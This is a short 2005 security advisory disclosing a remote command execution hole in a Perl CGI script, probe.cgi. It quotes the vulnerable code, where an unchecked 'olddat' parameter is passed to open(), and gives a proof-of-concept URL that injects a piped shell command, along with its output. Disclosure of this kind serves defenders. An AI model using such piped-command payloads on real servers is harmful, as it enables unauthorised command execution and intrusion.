probeExec.txt

`___________________________________________________________  
  
BADROOT SECURITY GROUP  
Security Advisory 2005 - #0x06  
http://www.badroot.org  
irc.us.azzurra.org ~ #badroot  
___________________________________________________________  
  
Authors ....... spher3 (spher3 at fatalimpulse dot net) Date   
.......... 04-07-2005  
Product ....... probe.cgi  
Type .......... Remote Command Execution  
  
o Info:  
================  
That script is used to open file '.dat'.  
  
o Vulnerable Code:  
================  
..  
23 [...]  
24 $old = $query->param('olddat');  
25 [...]  
..  
..  
34 [...]  
35 open (VF, "$olddat");  
36 [...]  
..  
  
(24) At this line, the cgi param 'olddat' is associated to one database.  
This variable isn't checked by anyone matching, so you can open  
all file that you want. (35) At this line the script open the file   
that you had chosen. With pipe `|`  
is possible to execute arbitrary code on the shell.  
  
o Proof of concept:  
================  
  
http://the-vuln.site.org/cgi-bin/probe.cgi?olddat=|id|  
uid=99(www) gid=99(www)  
  
Original ADV: http://www.badroot.org/advisories/SA0x06  
`